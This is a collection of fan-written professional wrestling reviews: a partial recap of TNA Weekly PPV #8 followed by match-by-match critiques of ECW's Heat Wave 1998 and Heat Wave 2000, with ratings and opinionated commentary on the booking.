TNA Weekly PPV #8
Date: August 7, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Mike Tenay, Don West, Ed Ferrara

Spanish Announce Team vs. Flying Elvises

Red hits a corkscrew moonsault and the other Elvises come in. Everything breaks down and the Code Red (sunset flip bomb) gets two for Red. The Maximos set for some double team spot but Yang slips off Jose. Estrada counters another double C4 into a double DDT off the top. Yang and Estrada go up at the same time for a stereo top rope legdrop and splash combo, only to have Siaki steal the pin on Red.

The announcers talk about the title matches tonight.

Apolo goes to see Steamboat but Steamboat blows him off. The Dupps try to talk to Steamboat but we cut to AJ vs. Lynn in another brawl in the back. Security finally breaks it up.

NWA World Title: Ken Shamrock vs. Ron Killings

Dupp Cup: Ed Ferrara vs. The Dupps

By the way, this segment got over 16 minutes, or as long as the main event tonight will get.

Malice vs. Don Harris

Slash jumps Harris from behind and has some kind of a sharp object. Harris gets it from him and stabs Slash in the head with it but Malice comes back and we head to ringside again. Mitchell gets taken down and has blood all over him now from that box he carries. The guys head inside for the first time of the whole match and a Boss Man Slam puts Malice down but Malice jabs him with something around the eye for the blood and the win.

Jeff Jarrett vs. Apolo

Steamboat is guest referee and the winner gets a shot at the Truth. Feeling out process to start but Steamboat blocks a right hand from Jeff. Jeff pounds on Apolo, Apolo pounds on Jeff, not much is going on here. Jeff gets sent to the floor via a clothesline and Steamboat actually enforces the get off the top before five rule. Back in and Apolo hits a Sky High powerbomb for two.

A Booker T sunset flip out of the corner gets two for Apolo and Jarrett gets guillotined on the top rope to send him to the floor. Jeff sends Apolo into the barricade and we head back inside with Jarrett in full control. Apolo is busted open and misses a splash in the corner. Jarrett enziguris him down for two and the fans think it was a slow count. Apolo misses a shoulder block and Jeff goes after the knee.

Miss TNA: Bruce vs. Taylor Vaughn

Don West gives his sales pitch for next week. He really is good at this stuff. We get a merchandise pitch too.

X-Division Title: Low Ki vs. AJ Styles vs. Jerry Lynn

Low Ki is sent to the apron but he slingshots in to roll up Jerry as Jerry German suplexes AJ which gets a double two count. Cool spot. Lynn and Low Ki chop it out as AJ is down. AJ tries a suplex on Low Ki but gets caught in a Dragon Sleeper. Lynn tries for a save but gets caught in the same hold. Jerry suplexes Low Ki down but AJ saves. AJ goes up but Jerry DDTs him off the top for two.

Styles and Low Ki slug it out but Low Ki kicks him in the face to take over. AJ hits his moonsault into the reverse DDT for two and then loads up a superplex on Low Ki but Jerry turns it into a Tower of Doom for two. All three guys get an awesome looking rollup for two, followed by AJ and Lynn trading very close two counts again. Low Ki rolls up Lynn, but Jerry kicks out, sending Low Ki into the Styles Clash position. Jerry breaks it up for some reason but the setup looked good.

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Heat Wave 1998
Date: August 2, 1998
Location: Hara Arena, Dayton, Ohio
Attendance: 4,376
Commentator: Joey Styles

So apparently it’s ok to have no pay per views over the entire summer as it’s been three months since Wrestlepalooza. There are a few changes here. For one thing, guys like Mike Awesome and Masato Tanaka are here now, bringing a completely new style to ECW which was needed. Shane is of course still world champion and not wrestling tonight for no adequately explained reason.

The main event is a street fight, which is an oxymoron in ECW, between the Dudleys and Dreamer, Sandman and Spike. There is also a rather famous tag match with Van Dam and Sabu who have FINALLY ended the Storm and Candido tag title reign against Hayabusa and Jinsei Shinzaki (Hakushi). This is considered a classic but I’m not so sure that Sabu and classic can go together so we’ll just see. Let’s get to it.

Oh hey the world champion is on commentary tonight. Also all seven matches are main event matches apparently. Doesn’t that kind of defeat the purpose or something?

Joey introduces Francine (holy goodness) and Shane to be his co-hosts. After talking about Taz because they have to keep building up the freaking thing for another 5 months, Francine shoves Joey’s face into her chest.

Cue theme song and opening video.

We have a more traditional ECW entrance ramp now with the hole in the brick wall that they would use forever.

Justin Credible vs. Jerry Lynn

These two had a best of 21 series over a summer. Justin has a mob with him more or less. Naturally we get a shot at Chyna as they say Bass is bigger. Joey says they should name her Russia. Considering there was a chick in WCW named Asya, that’s kind of funny. This is the final match of said best of 21 series. Lynn of course comes out alone.

Apparently they’re feeling each other out. What the heck? THIS IS THEIR TWENTY FIRST MATCH IN THREE MONTHS. That’s a match every FOUR DAYS. How much feeling out do you need? Lynn is freaking MOVING out there. The tombstone is reversed into a rollup. Shane of course runs down Flair and Shawn even though that has nothing to do with anything.

I love how one of his first jobs in mainstream wrestling was being half of the New Rockers when Shawn was hurt. We’ll ignore that though. The first chair is in 15 minutes into the show. Well at least they waited a bit. We’re on the floor now and in full brawl mode. At least we got some wrestling stuff first so it balances out. Justin takes a DDT on the chair which should knock him out but of course it doesn’t.

That’s followed up by a hurricanrana through a table. I get that this is the last of the series, but dang man could you be a bit less contrived? To be fair though, this is a big match and not just a random pairing. Lynn keeps using the Tiger Bomb for some reason. Did he not have the Cradle Piledriver yet? Chastity gets a tombstone and Joey is glad. After an odd sequence, a tombstone from the second rope ends this with Justin winning.

Rating: C-. The weapons were a turn off for me as was all of the interference, but anyone that can have a best of 21 series is pretty decent. That’s a good way to describe Justin actually. Lynn impressed me here far more as he was carrying this. That’s Justin’s problem I think: he doesn’t do much and his offense is REALLY limited. It’s punch, taunt, chair move, taunt, tombstone. That doesn’t make you a good wrestler or character, but Heyman thought he was I guess.

We recap Storm vs. Candido and how they lost the belts to Van Dam and Sabu. Tonight is the one on one match.

Lance Storm vs. Chris Candido

Sunny looks freaking HOT. Joey thinks that maybe they’re getting along again and this will be a nice wrestling match. Naturally that doesn’t happen and Joey says he knew it wouldn’t. It’s funnier than it sounds. They chop the heck out of each other. DANG IT JOEY QUIT SAYING THE SAME THINGS I SAY!!! Candido gets a nice dive from the top rope to the floor. Freaking sweet looking.

Storm rolls Sunny in and then just lets her roll out again in a completely pointless sequence. This is a rather basic but intense match. Storm hits a SWEET springboard over the railing to crash into Candido. It’s a solid brawl but it’s really not that great. Storm gets another SWEET move with a spin kick off the middle rope.

We have our fifth Batista/Tiger Bomb (yes I know they’re different moves but Joey keeps saying it’s a Tiger Bomb so whatever) of the night. You don’t have to do the same move over and over again. Candido gets powder thrown in his own eyes but there goes the referee. Sunny crotches Storm on the top and the super powerbomb ends this. Oh and along the way Sunny got her top ripped off. Sunny needs to wear red more often. My freaking goodness!

Rating: C+. Not bad, but it felt like it ended all of a sudden. I mean there were some ok high spots here, but for the most part there just wasn’t a lot going on. It was about 11 minutes but it felt like five.

New Jack says he’s ready for whoever he’s fighting in a pretaped thing in the parking lot. A huge brawl breaks out and he curses way too much. They Dudleys and the Hardcore Chair Swinging Freaks were in there. Jack is hurt apparently. Aww there’s no weapons match tonight. FOR SHAME!

Sabu, Van Dam and Alfonso are ready. Van Dam is on the verge of a face turn.

Mike Awesome vs. Masato Tanaka

These two feuded for the better part of ever and Tanaka usually would win if you can believe that. Awesome was just a freak of nature to say the least. In a little known bit of trivia, Awesome is the step nephew of one Hulk Hogan. Awesome could do just about everything and jumped all over the ring like Rey Mysterio, but he was the size of Test or so. And there he goes with a huge dive over the top rope.

Tanaka gets a running start with a chair to nail Awesome in the freaking head. That looked painful. Basically all Tanaka can do is blast him with a chair. I’m not saying that’s all he’s capable of, but that that’s all he can get to work. A huge splash hits as this is rather physical. It’s not great but it’s far from bad as well. Tanaka takes a bunch of chair shots to the head but he Rises Up as the chair looks diseased.

The Awesome Bomb connects but Awesome wants to use a table instead. I hate those stupid things. A chair shot from the top which should have killed Tanaka connects and still no cover. Tanaka escapes twice despite likely being legally dead and power bombs Awesome through the table.

I’ve officially lost this match now, as there comes a point where disbelief can’t be suspended anymore. The Roaring Elbow connects for the second time but only the first time that it was either noticed or that Awesome sold it. A tornado DDT on a chair ends it.

Rating: C+. Well it was a good brawl but not much more. The amount of kickouts was just dumb near the end, as half of those bumps should have killed them. It certainly was exciting if nothing else though. The good thing is that the matches didn’t really get bad but they never really got better either. This was fun.

During the post match part, Shane mentions he can’t get back in the ring until November 1. So just to be clear, the world champion is out at bare minimum three months, not counting however long he’s been out already. And everybody is ok with this?

Taz says he’s better and means more than Austin and Goldberg. Oh that’s FUNNY.

Ad for November to Remember which is when Shane returns to the ring.

The Dudleys, all like nine of them say that they’re ready for tonight and their street fight. All of them say that and it takes forever.

Tag Titles: Hayabusa/Shinzaki vs. Rob Van Dam/Sabu

This is considered one of the gold standards of ECW so let’s see if it’s as good as I’ve been told that it is. The fans are into the Walk theme music for RVD and that’s an understatement. Van Dam is also the TV Champion. It’s amazing that he held it more or less until the company ended minus six months. The announcer butchers Shinzaki’s name to an extent that even I roll my eyes at it.

They say Sabu is from Bombay, Michigan and that never gets old. There’s no storyline here as they’ve just brought the guys in for a one off match. Ok then. Hayabusa and Van Dam start us off. We get a stall for a good while before we actually start. It’s an old Memphis tactic that I’ve always hated. They do a sloppy rollup/leg lock spot. Not a great starting point.

We get a you screwed up chant off blown spot number two. We’re MAYBE two minutes into this by the way. Off a kick to the face (think Kofi’s Trouble in Paradise) Hayabusa misses Rob’s head by about 6 inches yet Van Dam sells it anyway. There’s been WAY too much walking around and doing nothing here. In what’s likely Shinzaki’s biggest move, he does a praying rope walk around the top rope like Taker but he goes around a corner.

Let me make sure I’ve got this straight. Van Dam is just holding onto him walking for about 8 seconds and has a free arm and two free feet, and we’re supposed to believe he’s just going to go quietly? ARE YOU KIDDING ME??? When Taker does it it’s about 2 seconds on the ropes and nothing more. Not only is this sloppy, but it’s not making much sense.

And Sabu hasn’t even been in until now. He comes in for a cover. That makes sense. Nothing says high impact and cool looking offense like a chinlock! I think Hayabusa stole his attire from Hannibal from WCW/NWO Revenge. SUE HIM IMMEDIATELY!

Sabu shows some intelligence as he dropkicks the knee and then WORKS ON THE LEG! I’m stunned actually. After a LONG time of mat work etc we get to the high flying stuff that this is supposed to be about. Hayabusa is moving out there. We’re in the crowd now in case you were wondering. We’re out of the crowd now in case you were wondering.

Shinzaki and Sabu are in the ring while the other two are down on the floor. Van Dam puts Shinzaki in a bow and arrow so Sabu can hit him in the ribs with a chair. Again, WHY DO YOU NEED THE CHAIR??? The match was just starting to get good and we bring in a pointless chair because Sabu can’t work more than 5 minutes without a weapon. If you want to know what drives me the craziest about ECW, it’s THAT.

Sabu goes out, the chairs are taken out, and the match is instantly going up in value. Hayabusa going insane off the ropes is fun to watch. Why do we need chairs and weapons? Sabu hits a decent jumping hurricanrana. That wasn’t bad at all. See, if he tries, he could do some decent NON WEAPON RELATED stuff. Shinzaki hits what we would call a Pele kick on Van Dam. Hayabusa hits a 450 splash and this isn’t terrible.

Sabu hooks a Boston Crab so Van Dam can go up for a leg drop. It turns out to be a hip drop on his head but whatever. This has lost anything resembling flow or actual tag wrestling and is just a mess anymore. If that’s the case, what was the point of the tagging thing earlier? We have a table and I more or less give up now. Shinzaki hits a WEIRD looking leg twist on Van Dam. It was cool looking if nothing else.

More chair use as Van Dam jumped from one side of the ring to another for kind of a Van Daminator. Sabu hurts his hand doing something. They break the table. Not break through it but just break it. So we get two more! Oh and a chair which is slammed over Hayabusa’s head. A Van Daminator takes down Shinzaki.

In the big spot of the match, both Japanese guys are on one table and the champions go up top and crash through both guys. That ends it. Seriously? It should be noted that in every replay, the champions use weapons and the challengers never do. That should tell you a few things.

Rating: D+. The first half of this was pretty good. It wasn’t great at all but I didn’t expect it to be. After about ten minutes though it’s your standard ECW tag match: weapons, ridiculous spots with zero transitions, and a complete lack of anything resembling tagging.

Also, the first half is made to look pointless as they tagged then but they don’t in the second half. BE CONSISTENT ALREADY! It’s watchable I guess, but it’s nothing I’m going to remember in about a day or so. This is the best tag match ECW ever had? That explains a lot.

We recap Bigelow vs. Taz. More or less, Taz got put through the ring and he went after Shane and the Triple Threat, including Bigelow. This was the introduction of the FTW Title. This was really about setting up Shane vs. Taz but because the champion was injured for at least three months, we didn’t get the match for about another 6 months.

Yeah, because we couldn’t do that in November since we had to have a 6 man tag instead. I mean, it’s not like this hasn’t been going on for the last 4 months already or anything. Heyman makes my head hurt.

FTW Title: Bam Bam Bigelow vs. Taz

You know, for an unrecognized title, it certainly was recognized by the announcer. Oh this is a death match, meaning falls count anywhere. Bigelow is noticeably less fat. Shane says he won’t cheer lead. That’s rather amusing. First move of the match: Bigelow powerbombs Taz and it’s completely no sold. Give me a break. This isn’t your standard big man vs. little man match as Taz isn’t your typical little man.

Taz goes air (Evan) borne by jumping off the stage at Bigelow who catches him. That’s always been a move I get impressed by. They’re in the crowd here which at least makes sense in this case as it’s falls count anywhere. We get an armbar on the floor. Ok then. Shane of course takes credit for everything that Bigelow does. At least he’s being a heel. The lack of weight really does help him out I think. Taz is bleeding.

Back in the ring now and IT’S TABLE TIME! SO NEW! SO INNOVATIVE! OH YES!!! Taz goes through it and Bigelow is dominating. They exercise recycling as they have Bigelow go through the same table that Taz did. ECW is environmentally conscious if nothing else.

And then we go on the ramp and Taz reverses a DDT through the ramp to do the same big mindless spot that they did in the first match. Both guys of course come out of the hole and the Tazmission is on for the tap out. Shane’s reaction is great. I’d sell my G-Mod spot for a curses foiled again from him.

Rating: D+. Again just an overblown brawl. Thankfully this ended their feud but again it’s just another chapter in the Shane/Taz saga. It was all about one spot which is the smoke and mirrors booking that Heyman was notorious for. It’s ok to just wrestle. He needs to get that.

We recap the Dudleys vs. the faces which started when Beaulah had her neck broken by them. Joey goes on a rant against the Dudleys because of what they did. The heat on them was unreal.

Dudleys vs. Tommy Dreamer/Spike Dudley/Sandman

The Dudleys are Bubba, D-Von and Big Dick in case you were wondering. This is the show where everyone went off on the Dudleys that Bubba talked about on Rise and Fall of ECW if you remember. There’s a piece of plywood more or less over the hole in the ramp. We get a bunch of promos from every one of the heels. The Dudleys would be gone in about a year or so.

Joel gets his usual great promo in that makes me laugh. Oh and Sign Guy is hurt pretty badly due to a ton of beatings. Oh and there’s a Beaulah doll with them. Sandman’s entrance takes about ten minutes and we have a ladder for no apparent reason. It’s a Dudleyille Street Fight so of course we’re tagging in and out. Dreamer and D-Von start us off.

Something tells me this is going to be violent quickly. Spike comes in and of course gets the tar beaten out of him by Bubba. Quite a bit of the next three or four minutes is just Spike getting beaten up. Oh joy it’s Dick vs. Sandman. This isn’t going to be pretty at all. Screw it we’re on the floor now. If this turns into a regular tag team match again I’ll be AMAZED.

Tommy and D-Von are in the crowd now with the non African-American winning it. It’s ladder time and they just beat the heck out of each other with it with big spots followed by resting and then more brawling. D-Von’s overselling never gets old to me if nothing else. Bubba finally hits that back splash thing onto a ladder onto Tommy. That’s not dumb at all.

We have more weapons in the ring than people. The managers get beaten up. All three Dudleys and Gertner are tied to the Tree of Woe and the referee hit dropkicks onto chairs to them all. I give up man. Sandman whispers into Bubba’s ear before they set up a spot. Sandman takes a SICK chair shot to the head. Dreamer hits a DDT on Bubba onto a ladder for the pin. And here’s New Jack and Jack Victory who were supposed to have a match earlier to beat people up and we’re done.

Rating: F+ More brawling. That’s all this was. WHY DOES IT ALWAYS HAVE TO BE BRAWLING??? Look, I get that this is a hardcore company. I get that this was a big grudge match. I get that this was about revenge. I get all that, but FREAKING WRESTLE FOR MORE THAN TWO FREAKING MINUTES A MATCH!

This was the most violent match of the night, true. However, it COMPLETELY loses its appeal when there have been what, three other wild brawls already tonight? This is why I hate reviewing ECW: I get more wrestling on the hour long show that airs on Tuesdays than I do in the original three hour long PPVs. That’s unacceptable any way you look at it.

Overall Rating: D. This brawling stuff has got to freaking stop, but something tells me that simply isn’t going to happen at all. This was the sixth ECW PPV and while this was better than Wrestlepalooza, that’s not saying much. This just didn’t work for me as it was all about violence. ECW was supposed to have a balance but it just wasn’t there on this show at all and the show sucked as a result to me.

It’s not completely terrible, but it’s repetitive. By the end of the show I hated the thought of another chair or weapon shot and was just burnt out. That’s really bad and something tells me it’s not going to change. Also for the love of goodness stop comparing yourselves to WWF. They were 4 weeks away from tearing MSG down with Rock vs. HHH in the ladder match at Summerslam 98. You guys don’t deserve to be able to even talk about that company at this point. Stay clear of this one.

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Heat Wave 2000
Date: July 16, 2000
Location: Grand Olympic Auditorium, Los Angeles, California
Attendance: 5,700
Commentators: Joey Styles, Cyrus

We have reached the final five shows as ECW hits the west coast. The company knows it’s more or less done at this point but they just wouldn’t accept it. I think their TV deal was done by the time the next PPV aired if that tells you anything. The main events here are RVD vs. Scotty Anton (Riggs) and Justin Credible vs. Tommy Dreamer for the Title. Let’s get this over with.

We open with Blue Boy and Jasmine St. Claire (adult star) on the beach. He was more commonly known as Blue Meanie minus about 100lbs. He makes fun of a guy on the beach and Jasmine hits the other guy low. The Sinister Minister shows up to say that Blue Boy sold his soul and these are the benefits. He makes puns of WWF PPV names and my eyes roll. Mikey is buried in the sand. Yeah whatever.

Joey and Gertner are in the ring of course to start us off. Let’s see how long we can get into the show without an actual match. Five minutes so far, but at least Gertner is funny. He comes complete with vanilla flavored semen. Cyrus, channeling his inner Vickie Guerrero by shouting EXCUSE ME comes out.

Super Crazy has been deported. Tajiri is gone or something. We get a ROLLERJAM reference! That’s the skating show that was constantly promoted on ECW and was considered this brilliant show while ECW dominated it in the ratings. Gertner makes gay jokes about Cyrus. This has been going on for MONTHS now and it needs to end or go somewhere.

Gertner doesn’t want to be on TNN anymore and now ECW is canceled. It would end in early October so this has 3 months left. Gertner is called a fat fa**ot. Gertner calls Cyrus one. Can you hear my enthusiasm here? I mean it’s BLEEDING man. Ten minutes so far by the way. Cyrus says Gertner has never paid his dues as we’re in the worked shoot area. Joel leaves instead of fighting and gets booed loudly. Ok scratch the leaving part.

Joel (Gertner in case you’re an idiot) jumps him and security stops him. Cyrus wants him in jail and for no apparent reason Big Sal and Tony Mamaluke come out and beat up security and referees. And here comes Balls.

Balls Mahoneyvs. Big Sal E Graziano

No bell or referee or anything. This is just kind of a fight and it only took fifteen minutes of TV time to get here. The big chair shot does nothing and Sal crushes him with a belly to belly. One of the referees that broke up the fight counts the pin. This wasn’t even two minutes long.

Van Dam says he’s going to use the Van Terminator to beat Anton.

We see a video of Bobby Eaton helping some guys and getting in a fight with Simon and Swinger and CW Anderson.

Simon Diamond/Swinger/CW Anderson vs. Kid Kash/Danny Doring/Roadkill

Simon and Swinger are no longer comedy guys anymore. I guess the Dangerous Alliance is dead too. Diamond says they have a problem but Anderson is the solution. Elektra and Lou try to come out with Anderson and he throws them out. This is just kind of meandering along and it’s not a good sign at all. Roadkill gets a NICE pop. The first bell rings over twenty five minutes into the show.

Kash and Diamond do some nice technical stuff to start. There go the WOOS. Kash is underrated I think, or at least his early stuff was. Anderson, allegedly the best guy on the team comes in and promptly gets his head handed to him. The faces clear the ring and we cut to commercial. Oh wait I forgot this isn’t TV. Anderson launches Kash into the air but he hits a rana on Diamond.

The heels take over as this is actually a pretty solid match so far. Doring comes in and cleans house with some nice stuff. Diamond hits what we would call Three Amigos and the heels take over again. This has been a fun match thus far. I wonder how they’ll screw it up. Road Kill comes in to a big old pop. Heyman might have had something here with him. Kash takes everyone not named Roadkill out with a huge flip. THEN ROADKILL DIVES TOO! Ok I think I’m a fan of his now.

Cyrus takes a shot at Hogan, 7 days after his last WCW match. Simon and Swinger manage to suplex Roadkill off the top. Well they have power if nothing else. Problem Solver (Snapshot) on Doring is blocked and Swinger takes a double underhook piledriver from Kash to end it. Very good match.

Rating: B+. That’s probably high but I loved this. This is a great example of what happens when you just let guys go out there and have fun and put on a good match. That’s what they did here and it worked very well. This was well structured and it came off as a back and forth match that was interesting. Great match and the best on PPV in a good while.

Rhyno wants Sandman and drops some F bombs to prove how serious he is.

Steve Corino vs. Jerry Lynn

Corino is in the Network still. Lynn dives through Victory’s legs and we’re off fast. Corino was in a weird place here as he was awesome on the mic but he never really won much of anything but he was getting tons of big matches anyway. Lynn takes out both he and Victory as the crowd is oddly quiet here. Not dead quiet but just not making a lot of noise quiet.

Cyrus is on gay joke #3 about Gertner 3 minutes into the match. We go to the floor and you can see Corino reach for his tape. Yep he slams into the concrete and puts his head under the ring. There’s the blood of course as he tries to rival Flair for most blood in a career. I think I know where this match is going and it’s insane if it is. Steve gets more energy from blood I guess as he takes over.

Corino does the Flip Flop and Fly as I continue to wonder what the point of his mimicking Dusty was. Lynn can freaking move out there. Steve gets into it with a fan on the floor ala Flair. He really is good at doing a lot without doing much at all. Corino actually looks like he’s wearing a crimson mask. That’s some serious blood flow there.

Chair doesn’t work as Steve gets it slammed into his head. This is ECW vs. Network. Thanks for explaining that ten minutes in. What exactly does Jack Victory get paid for? Lynn puts him down then dips his hand into the cut and puts Corino’s blood onto his own face and then uses it to write DIE on his stomach. Yeah that’s not over the top at all.

Old School Expulsion (reverse Twist of Fate) gets two on Lynn. The referee is down thanks to Victory. He threw powder at him and punched him. Overkill much? They mess up a spot where Victory was supposed to smack Lynn with a cowbell. They get it right the second time and Lynn kicks out anyway. A pinfall reversal sequence gets us nowhere but the Cradle Piledriver ends it.

Rating: B-. Solid match here. Both guys kept things simple for the most part, although the one thing I’m thinking here is “now what?” I mean where do they go from here? Corino looks a bit tougher but still lost. Lynn wins a match he’s supposed to win. It helped Corino somewhat but at the same time not very much. Then again they’re out of business in like 9 months so it’s not like it means much anyway.

We recap (as in show) the Sandman/Rhyno incident from Hardcore Heaven where Rhyno kicked his head in. This is of course different than the other three times Rhyno kicked his head in. It’s also where Sandman’s wife got pile driven through a table on the floor. This is pure filler as it’s going on WAY too long.

We go to Sandman’s house where he says he’s going to get back at Rhyno later. His house looks like you would expect it to. I get Kenny McCormick’s dad when I see him. And Rhyno is in his house. Wait…that’s at the arena? He tried to drown Sandman’s wife in the toilet or something. This was WEIRD.

Dawn Marie is on commentary for no apparent reason. She and Cyrus make sex jokes.

And here’s New Jack, complete or maybe incomplete I guess with a broken leg. Da Baldies run out to beat up New Jack since that’s all they know how to do. Nova, dressed as the Flash of all people and Chris Chetti come out for the save.

Da Baldies vs. Nova/Chris Chetti

And remember, even though Nova and Chetti are the best tag team in ECW, they can’t have the tag belts because we’re not going to have tag champions for about four months. DeVito “hits” a “dropkick” on Nova as we’re actually having something close to a tag match here. Wow Chetti is sloppy. His punches more or less hit their arms. It’s his birthday though so I can’t complain that much. Well I could but whatever.

Nova misses a Swanton and Cyrus says Chetti has educated feet. I wonder who stole that from whom. Nova hits a very nice double piledriver into a helicopter bomb (think the Three Amigos but with piledrivers and a spinning powerbomb to end it). Since that’s a totally awesome move, it doesn’t end the match. The Tidal Wave ends it as I shake my head over these two never winning the tag titles.

Rating: D+. This was a glorified squash as the high flying guys were never in anything close to danger here. These guys are kind of like the MCMG in TNA at the moment but not as tandem based. Still though this was good for them as the Baldies remain completely useless yet employed.

We go to Dreamer who is breaking his silence. I have no idea what he’s been silent about or since when but whatever. He talks about how much he loves wrestling and how he keeps losing things in his life because of it. One of those is six months’ pay but that’s more Heyman’s fault. He’s mad about TNN and he’s mad about Credible.

 

Almost everyone was cutting semi-shoots on TNN at this point since they knew they were done and they knew no one from TNN cared anyway. Dreamer cuts himself open on a locker. This would have been FAR better if we hadn’t heard the ring announcer starting the next match very loudly at the end of it.

Little Guido vs. Psicosis vs. Tajiri

Psicosis is back after being fired from WCW as they were hemorrhaging money so they cut EVERYBODY young and talented that they never used. Yep it’s another international three way dance that isn’t going to mean anything at all in the end. This is Psicosis’ return to ECW and he’s unmasked here. During Tajiri’s entrance we have Mikey Whipwreck and the Sinister Minister. He just kind of interjects himself into this.

The other three promptly beat the tar out of him for his troubles. He hits a Whippersnapper on Tajiri as we hear his resume for the 1000th time. Tony Mamaluke runs out for no apparent reason and Mikey beats him up. Big Sal kills Mikey and Guido pins him to get us down to the original three, making Mikey’s thing more or less completely pointless.

Tajiri stands in the ring on his own for about a minute as nothing happens at all. This is just one big mess of course. Unprettier hits Psicosis and then a German suplex ends him. So now it’s Guido and Tajiri. I wonder who will win this: the relative jobber or the guy that was in some main event level stuff recently. We get some nice counter wrestling and then the Tarantula.

It’s chair time and it’s all Tajiri here. He does the baseball slide into the Tree of Woe chair. Guido just falls down on his face which looked funny. Somehow this energizes him or something as he comes back. The fans want their pizza. Tajiri gets the mist and a brainbuster on a chair to end it with a resounding SO? Guido gets applause for no apparent reason as he leaves.

Rating: C-. This was fine, but again I say so what? I mean really what does this mean at all? They had like 8 of these and it wasn’t for a title or anything like that. This was entertaining though so I’ll give it that, but it means nothing and that’s part of the reason why the fans stopped caring.

Justin Credible, looking like the walking (sitting actually) definition of a douche says that barbed wire isn’t his thing but he’ll do it if that’s what it takes. It’s a Stairway to Hell match vs. Dreamer later.

TV Title: Sandman vs. Rhyno

Sandman comes out first for no apparent reason. Sweet I managed to marinate my turkey in the time it took to do his entrance. We’re at two and a half minutes so far. Wow I love this Stephen King guy. I managed to finish that IT book during the intro as well. Make that four minutes and he’s nowhere near the ring yet. Yes I read IT in less than five minutes. The intro is now longer than the Nova/Chetti match.

Ok he’s in the ring FIVE AND A HALF MINUTES after his music started. Rhyno makes it in 9 seconds. Sandman breaks the cane over Rhyno’s head to start and it does nothing of note. For some reason it’s weird looking that Sandman is taller than Rhyno. And yes I know that’s the WWE spelling. Sandman is more or less bombed here and no one seems to care. There’s a guardrail in the ring now as I have a bad feeling I know where this is going.

Cyrus badmouths Sandman’s wife as this is going nowhere. Basically this is just about doing moves onto the guardrail, including a Heineken-Rana from Sandman. The crowd is hot now if nothing else. With the rail on Rhyno Sandman hits a Swanton onto it. Sweet goodness. Victory and Corino come out to beat up Sandman a bit so Spike Dudley comes out. Yeah you knew this was coming.

Sandman and Spike hit Corino with 3D to pop the crowd. Spike gets gored and then takes the table piledriver. He has a broken leg at the time but who cares? Rhyno hits a piledriver on the guardrail to end this stupid mess.

Rating: F+. This was of course a mess with no chance of Sandman winning. The guardrail was the focus of the match and no one cared about it. Sandman never beat him but since he was so over it didn’t really matter. The hardcore stuff was all Sandman could do most of the time and a lot of the times, such as this one, it failed.

Dawn Marie was there for the whole match? Wow. Joey and Cyrus argue a bit.

Scotty Anton vs. Rob Van Dam

Hmm I wonder who wins here. Anton is a Network guy, more commonly known as Scotty Riggs from WCW jobber fame. He claps his hands over his head and his Sharpshooter finisher is called the Clapper. He even has a song called I Want to Give You the Clap. And remember, the insane pops Van Dam gets absolutely do not mean he should be world champion in the slightest.

Tonight the Van Terminator debuts tonight. Anton is the US Male. Shoot me please. Yeah Scotty Riggs was supposed to be one of the top heels in the company. It’s kind of hard to believe RVD is mad at Anton when he keeps smiling all the time. Van Dam busts out a gorilla press of all things. Anton caves his skull in with a chair as he tries desperately to make someone believe he has a chance. This of course fails miserably since no one buys that.

Anton hits a bulldog onto the guardrail from the apron which looked awesome. Wrestlers are very fickle. They have so many best friends over the course of a career that it’s unreal. The problem becomes very clear: Anton is a career jobber and no one really believes him as a credible threat to someone the caliber of RVD. He hits a DDT. Is that his finisher? Has he ever won a match for that matter?

Anton dominates for awhile with some decent stuff but there’s just no reaction from the crowd. And remember: RVD is fighting Scotty Riggs while Justin Credible is in the main event. Maybe Heyman deserved to go out of business. In a horrible looking spot, Anton puts him in the Tree of Woe and gets a chair for a running shot to his bad knee. He clearly slows down and stops his swing so RVD can get his foot out to kick the chair into his face. That looked awful.

RVD comes back though and hits the Skateboard (He has a chair and gets a running start so he can hit a running dropkick that knocks the chair into the other guy’s face) which wakes the crowd up a bit. While he’s celebrating with Fonzie though he takes a chair shot to the knee and Anton gets the Clapper. Oh how I hate this guy. Fonzie gets put into it later and then JUST STANDS THERE while Van Dam throws him a chair for the Van Daminator. He held the chair in place over his head for like 3 seconds for the kick.

Five Star follows and RVD says it’s time for the Van Terminator. It’s what we would call the Coast to Coast (Shane’s dropkick thing). This of course leaves Anton dead for the most part so the pin is simple. This got twenty minutes. Yeah Scotty Riggs gets twenty minutes and Chetti/Nova get less than 5. In a hilarious moment, RVD says he’s the reason ECW is going where it’s going.

Rating: D. This was just WAY too long and there was absolutely no drama. Hmm the biggest star in the company has promised a new finishing move against a guy he’s mad at that is a career jobber. I WONDER WHO WILL WIN! Anyway this just wasn’t that good. Anton was ok at his absolute best and no one bought him as having any chance here. This was just not that good.

We recap Credible vs. Dreamer. This is the rematch from where Credible took the belt from him less than 20 minutes after Dreamer won it. In essence it’s barbed wire on a pole.

ECW World Title: Justin Credible vs. Tommy Dreamer

Francine is with Justin as she abandoned Tommy for Justin the night he won the title. The barbed wire is above the ring and you have to get a ladder to get it. It’s called Stairway to Hell. Wouldn’t the stairs go down then? Dreamer has Jazz and the formerly Gorgeous George (Randy Savage’s wife who was in WCW for a little while) with him. If the fans cared any less about Justin then they would reach negative caring.

George is the SECRET WEAPON. She’s so secret that she’s right in front of us. Wasn’t Dreamer supposed to be crippled or something like a year ago? Before we get going there’s a legit disturbance at ringside. Joey claims it’s a drunken fan but in reality it was a group of wrestlers from a company called XPW who were more or less ECW West Coast, minus the talent, the intrigue, the national attention, the writing, the music, the distribution or the influence.

 

The locker room emptied for the most part and the XPW guys got taken away. Francine would later say she was never grabbed or touched, which makes me wonder what started this. There was also later an alleged fight in the parking lot between ECW wrestlers and XPW crew (not wrestlers) where the more famous guy won decisively.

In a match based on violence, we of course start with technical wrestling. There’s a full nelson in an ECW match. Joey: “I’ll be danged this has broken down into a wrestling match!” We head to the floor and it’s all Tommy. It’s one of those brawls where they’re not really doing anything other that just walking around and ramming each other into things. Dreamer carries him up to a balcony and just kind of leaves him there.

He gets a ladder and climbs up so that he’s on the balcony Credible is on. And there goes the ladder. This is one of the least interesting brawls I’ve ever seen. They’re barely doing anything and the barbed wire hasn’t even been mentioned yet. With just seven minutes left in this tape that isn’t a good sign. Oh and Dreamer is fine after his fall from about 12 feet. Joey goes off on Cyrus which goes nowhere.

They lay a ladder on the bottom rope and Dreamer “hits” a “slingshot” that nails Justin square in the arm. Dreamer goes up the ladder and Francine low blows him. He falls and literally crushes her. He landed right on her and here are Jazz and George. George, of course, turns on Dreamer and Jazz to join Credible. Jazz proceeds to kill George, making me wonder what the point of her was in the first place.

